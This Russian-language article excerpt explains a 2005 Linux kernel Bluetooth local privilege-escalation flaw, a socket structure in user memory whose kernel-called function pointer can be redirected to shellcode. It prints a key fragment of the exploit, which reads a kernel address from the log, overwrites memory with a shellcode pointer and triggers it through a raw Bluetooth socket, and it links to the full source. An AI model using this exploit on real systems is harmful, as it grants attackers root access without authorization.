Захватываем ring 0 в Linux

Дырка в голубом зубе или Linux Kernel Bluetooth Local Root Exploit


Крошечный чип Голубого Зуба использует довольно навороченный протокол связи, поддержка которого проходит довольно болезненно. Практически ни одному коллективу разработчиков не удалось предотвратить появление новых дыр, в которые и слон пролезет, но если не слон, но червь — точно. Не стала исключением и LINUX. В апреле 2005 года появилось сообщение о дыре, а следом за этим был написан Kernel Bluetooth Local Root Exploit, работающий на ядрах 2.6.4-52, 2.6.11 и некоторых других.

Ошибка разработчиков состояла в том, что эти редиски разместили структуры сокета Голубого Зуба в пользовательской области памяти, тем самым открыв полный доступ к модификации всех полей. Одним из таких полей оказался указатель на код, вызываемый с уровня ядра. При нормальном развитии событий он указывает на библиотеку поддержки Голубого Зуба, но нам ничего не стоит перенаправить его на shell-код!

Ключевой фрагмент эксплоита, дающего права root'а из-под юзера, приведен ниже. Оригинальный исходный текст лежит на http://home.paf.net/qobaiashi/ong_bak.c, а здесь копия: http://www.securiteam.com/exploits/5KP0F0AFFO.html (оригинальный адрес у меня так и не открылся).

if ((tmp = klogctl(0x3, buf, 1700)) > -1)

{

       check

= strstr(buf, "ecx: ");

       printf(" |- [%0.14s]\n", check);

       if (*(check+5) == 0x30 && *(check+6) == 0x38)

       {

              check+=5;

              printf(" |- suitable value found!using 0x%0.9s\n", check);

              printf(" |- the time has come to push the button... check your id!\n");

              *(check+9) = 0x00;*(--check) = 'x';*(--check) = '0';

              mod = (unsigned int*)strtoul(check, 0, 0);

              for (sock = 0;sock <= 200;sock++)

                     *(mod++) = (int)ong_code;//link to shellcode

             

              if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)

              {

                     printf(" |- something went w0rng (invalid value)\n");

                     exit(1);

              }

}



Содержание раздела